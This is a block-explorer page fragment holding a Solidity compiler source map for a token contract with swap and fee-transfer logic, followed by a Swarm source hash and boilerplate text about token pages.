::o;1349:224::-;1469:7;1505:12;1497:6;;;;1489:29;;;;-1:-1:-1;;;1489:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1529:9:0;1541:5;1545:1;1541;:5;:::i;:::-;1529:17;1349:224;-1:-1:-1;;;;;1349:224:0:o;1581:246::-;1639:7;1663:6;1659:47;;-1:-1:-1;1693:1:0;1686:8;;1659:47;1716:9;1728:5;1732:1;1728;:5;:::i;:::-;1716:17;-1:-1:-1;1761:1:0;1752:5;1756:1;1716:17;1752:5;:::i;:::-;:10;1744:56;;;;-1:-1:-1;;;1744:56:0;;7486:2:1;1744:56:0;;;7468:21:1;7525:2;7505:18;;;7498:30;7564:34;7544:18;;;7537:62;-1:-1:-1;;;7615:18:1;;;7608:31;7656:19;;1744:56:0;7458:223:1;1744:56:0;1818:1;1581:246;-1:-1:-1;;;1581:246:0:o;1835:132::-;1893:7;1920:39;1924:1;1927;1920:39;;;;;;;;;;;;;;;;;:3;:39::i;10237:107::-;10294:7;10326:1;10322;:5;10321:15;;10335:1;10321:15;;;-1:-1:-1;10331:1:0;10237:107;-1:-1:-1;10237:107:0:o;10555:483::-;5410:6;:13;;-1:-1:-1;;;;5410:13:0;-1:-1:-1;;;5410:13:0;;;10657:16:::1;::::0;;10671:1:::1;10657:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10657:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10657:16:0::1;10633:40;;10702:4;10684;10689:1;10684:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10684:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10728:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10728:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10684:7;;10728:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10718:4;10723:1;10718:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10718:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10793:15:::1;::::0;10761:62:::1;::::0;10778:4:::1;::::0;10793:15:::1;10811:11:::0;10761:8:::1;:62::i;:::-;10834:15;::::0;:196:::1;::::0;-1:-1:-1;;;10834:196:0;;-1:-1:-1;;;;;10834:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10915:11;;10834:15:::1;::::0;10957:4;;10984::::1;::::0;11004:15:::1;::::0;10834:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5446:6:0;:14;;-1:-1:-1;;;;5446:14:0;;;-1:-1:-1;;;;10555:483:0:o;6447:92::-;6504:10;;:27;;-1:-1:-1;;;;;6504:10:0;;;;:27;;;;;6524:6;;6504:10;:27;:10;:27;6524:6;6504:10;:27;;;;;;;;;;;;;;;;;;;6989:506;7140:13;;7136:172;;7215:4;7197:24;;;;:9;:24;;;;;;:39;;7226:9;7197:28;:39::i;:::-;7188:4;7170:24;;;;:9;:24;;;;;;;:66;;;;7256:40;;-1:-1:-1;;;;;7256:40:0;;;;;;;7286:9;10121:25:1;;10109:2;10094:18;;10076:76;7256:40:0;;;;;;;;7136:172;-1:-1:-1;;;;;7336:15:0;;;;;;:9;:15;;;;;;:27;;7356:6;7336:19;:27::i;:::-;-1:-1:-1;;;;;7318:15:0;;;;;;:9;:15;;;;;:45;7390:40;7408:21;:6;7419:9;7408:10;:21::i;:::-;-1:-1:-1;;;;;7390:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;7374:13:0;;;;;;;:9;:13;;;;;:56;;;;7446:41;;;7465:21;:6;7476:9;7465:10;:21::i;:::-;7446:41;;10121:25:1;;;10109:2;10094:18;7446:41:0;;;;;;;6989:506;;;;:::o;9900:329::-;-1:-1:-1;;;;;10067:15:0;;;;;;:9;:15;;;;;;:30;;10087:9;10067:19;:30::i;1975:223::-;2095:7;2130:12;2123:5;2115:28;;;;-1:-1:-1;;;2115:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2154:9:0;2166:5;2170:1;2166;:5;:::i;1018:179::-;1076:7;;1108:5;1112:1;1108;:5;:::i;:::-;1096:17;;1137:1;1132;:6;;1124:46;;;;-1:-1:-1;;;1124:46:0;;7130:2:1;1124:46:0;;;7112:21:1;7169:2;7149:18;;;7142:30;7208:29;7188:18;;;7181:57;7255:18;;1124:46:0;7102:177:1;1205:136:0;1263:7;1290:43;1294:1;1297;1290:43;;;;;;;;;;;;;;;;;:3;:43::i;14:134:1:-;82:20;;111:31;82:20;111:31;:::i;:::-;63:85;;;:::o;153:247::-;212:6;265:2;253:9;244:7;240:23;236:32;233:2;;;281:1;278;271:12;233:2;320:9;307:23;339:31;364:5;339:31;:::i;405:251::-;475:6;528:2;516:9;507:7;503:23;499:32;496:2;;;544:1;541;534:12;496:2;576:9;570:16;595:31;620:5;595:31;:::i;661:388::-;729:6;737;790:2;778:9;769:7;765:23;761:32;758:2;;;806:1;803;796:12;758:2;845:9;832:23;864:31;889:5;864:31;:::i;:::-;914:5;-1:-1:-1;971:2:1;956:18;;943:32;984:33;943:32;984:33;:::i;:::-;1036:7;1026:17;;;748:301;;;;;:::o;1054:456::-;1131:6;1139;1147;1200:2;1188:9;1179:7;1175:23;1171:32;1168:2;;;1216:1;1213;1206:12;1168:2;1255:9;1242:23;1274:31;1299:5;1274:31;:::i;:::-;1324:5;-1:-1:-1;1381:2:1;1366:18;;1353:32;1394:33;1353:32;1394:33;:::i;:::-;1158:352;;1446:7;;-1:-1:-1;;;1500:2:1;1485:18;;;;1472:32;;1158:352::o;1515:315::-;1583:6;1591;1644:2;1632:9;1623:7;1619:23;1615:32;1612:2;;;1660:1;1657;1650:12;1612:2;1699:9;1686:23;1718:31;1743:5;1718:31;:::i;:::-;1768:5;1820:2;1805:18;;;;1792:32;;-1:-1:-1;;;1602:228:1:o;1835:1132::-;1919:6;1950:2;1993;1981:9;1972:7;1968:23;1964:32;1961:2;;;2009:1;2006;1999:12;1961:2;2049:9;2036:23;2078:18;2119:2;2111:6;2108:14;2105:2;;;2135:1;2132;2125:12;2105:2;2173:6;2162:9;2158:22;2148:32;;2218:7;2211:4;2207:2;2203:13;2199:27;2189:2;;2240:1;2237;2230:12;2189:2;2276;2263:16;2298:2;2294;2291:10;2288:2;;;2304:18;;:::i;:::-;2350:2;2347:1;2343:10;2382:2;2376:9;2445:2;2441:7;2436:2;2432;2428:11;2424:25;2416:6;2412:38;2500:6;2488:10;2485:22;2480:2;2468:10;2465:18;2462:46;2459:2;;;2511:18;;:::i;:::-;2547:2;2540:22;2597:18;;;2631:15;;;;-1:-1:-1;2666:11:1;;;2696;;;2692:20;;2689:33;-1:-1:-1;2686:2:1;;;2735:1;2732;2725:12;2686:2;2757:1;2748:10;;2767:169;2781:2;2778:1;2775:9;2767:169;;;2838:23;2857:3;2838:23;:::i;:::-;2826:36;;2799:1;2792:9;;;;;2882:12;;;;2914;;2767:169;;;-1:-1:-1;2955:6:1;1930:1037;-1:-1:-1;;;;;;;;1930:1037:1:o;2972:277::-;3039:6;3092:2;3080:9;3071:7;3067:23;3063:32;3060:2;;;3108:1;3105;3098:12;3060:2;3140:9;3134:16;3193:5;3186:13;3179:21;3172:5;3169:32;3159:2;;3215:1;3212;3205:12;3254:306;3342:6;3350;3358;3411:2;3399:9;3390:7;3386:23;3382:32;3379:2;;;3427:1;3424;3417:12;3379:2;3456:9;3450:16;3440:26;;3506:2;3495:9;3491:18;3485:25;3475:35;;3550:2;3539:9;3535:18;3529:25;3519:35;;3369:191;;;;;:::o;5165:597::-;5277:4;5306:2;5335;5324:9;5317:21;5367:6;5361:13;5410:6;5405:2;5394:9;5390:18;5383:34;5435:1;5445:140;5459:6;5456:1;5453:13;5445:140;;;5554:14;;;5550:23;;5544:30;5520:17;;;5539:2;5516:26;5509:66;5474:10;;5445:140;;;5603:6;5600:1;5597:13;5594:2;;;5673:1;5668:2;5659:6;5648:9;5644:22;5640:31;5633:42;5594:2;-1:-1:-1;5746:2:1;5725:15;-1:-1:-1;;5721:29:1;5706:45;;;;5753:2;5702:54;;5286:476;-1:-1:-1;;;5286:476:1:o;7686:356::-;7888:2;7870:21;;;7907:18;;;7900:30;7966:34;7961:2;7946:18;;7939:62;8033:2;8018:18;;7860:182::o;10157:980::-;10419:4;10467:3;10456:9;10452:19;10498:6;10487:9;10480:25;10524:2;10562:6;10557:2;10546:9;10542:18;10535:34;10605:3;10600:2;10589:9;10585:18;10578:31;10629:6;10664;10658:13;10695:6;10687;10680:22;10733:3;10722:9;10718:19;10711:26;;10772:2;10764:6;10760:15;10746:29;;10793:1;10803:195;10817:6;10814:1;10811:13;10803:195;;;10882:13;;-1:-1:-1;;;;;10878:39:1;10866:52;;10973:15;;;;10938:12;;;;10914:1;10832:9;10803:195;;;-1:-1:-1;;;;;;;11054:32:1;;;;11049:2;11034:18;;11027:60;-1:-1:-1;;;11118:3:1;11103:19;11096:35;11015:3;10428:709;-1:-1:-1;;;10428:709:1:o;11331:128::-;11371:3;11402:1;11398:6;11395:1;11392:13;11389:2;;;11408:18;;:::i;:::-;-1:-1:-1;11444:9:1;;11379:80::o;11464:217::-;11504:1;11530;11520:2;;11574:10;11569:3;11565:20;11562:1;11555:31;11609:4;11606:1;11599:15;11637:4;11634:1;11627:15;11520:2;-1:-1:-1;11666:9:1;;11510:171::o;11686:422::-;11775:1;11818:5;11775:1;11832:270;11853:7;11843:8;11840:21;11832:270;;;11912:4;11908:1;11904:6;11900:17;11894:4;11891:27;11888:2;;;11921:18;;:::i;:::-;11971:7;11961:8;11957:22;11954:2;;;11991:16;;;;11954:2;12070:22;;;;12030:15;;;;11832:270;;;11836:3;11750:358;;;;;:::o;12113:140::-;12171:5;12200:47;12241:4;12231:8;12227:19;12221:4;12307:5;12337:8;12327:2;;-1:-1:-1;12378:1:1;12392:5;;12327:2;12426:4;12416:2;;-1:-1:-1;12463:1:1;12477:5;;12416:2;12508:4;12526:1;12521:59;;;;12594:1;12589:130;;;;12501:218;;12521:59;12551:1;12542:10;;12565:5;;;12589:130;12626:3;12616:8;12613:17;12610:2;;;12633:18;;:::i;:::-;-1:-1:-1;;12689:1:1;12675:16;;12704:5;;12501:218;;12803:2;12793:8;12790:16;12784:3;12778:4;12775:13;12771:36;12765:2;12755:8;12752:16;12747:2;12741:4;12738:12;12734:35;12731:77;12728:2;;;-1:-1:-1;12840:19:1;;;12872:5;;12728:2;12919:34;12944:8;12938:4;12919:34;:::i;:::-;12989:6;12985:1;12981:6;12977:19;12968:7;12965:32;12962:2;;;13000:18;;:::i;:::-;13038:20;;12317:747;-1:-1:-1;;;12317:747:1:o;13069:168::-;13109:7;13175:1;13171;13167:6;13163:14;13160:1;13157:21;13152:1;13145:9;13138:17;13134:45;13131:2;;;13182:18;;:::i;:::-;-1:-1:-1;13222:9:1;;13121:116::o;13242:125::-;13282:4;13310:1;13307;13304:8;13301:2;;;13315:18;;:::i;:::-;-1:-1:-1;13352:9:1;;13291:76::o;13372:135::-;13411:3;-1:-1:-1;;13432:17:1;;13429:2;;;13452:18;;:::i;:::-;-1:-1:-1;13499:1:1;13488:13;;13419:88::o;13512:127::-;13573:10;13568:3;13564:20;13561:1;13554:31;13604:4;13601:1;13594:15;13628:4;13625:1;13618:15;13644:127;13705:10;13700:3;13696:20;13693:1;13686:31;13736:4;13733:1;13726:15;13760:4;13757:1;13750:15;13776:127;13837:10;13832:3;13828:20;13825:1;13818:31;13868:4;13865:1;13858:15;13892:4;13889:1;13882:15;13908:131;-1:-1:-1;;;;;13983:31:1;;13973:42;;13963:2;;14029:1;14026;14019:12;13963:2;13953:86;:::o

Swarm Source

ipfs://4b0d10fd2c6b35681c44679317d349ddc5031f40b06f75583a739b8390834b83
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.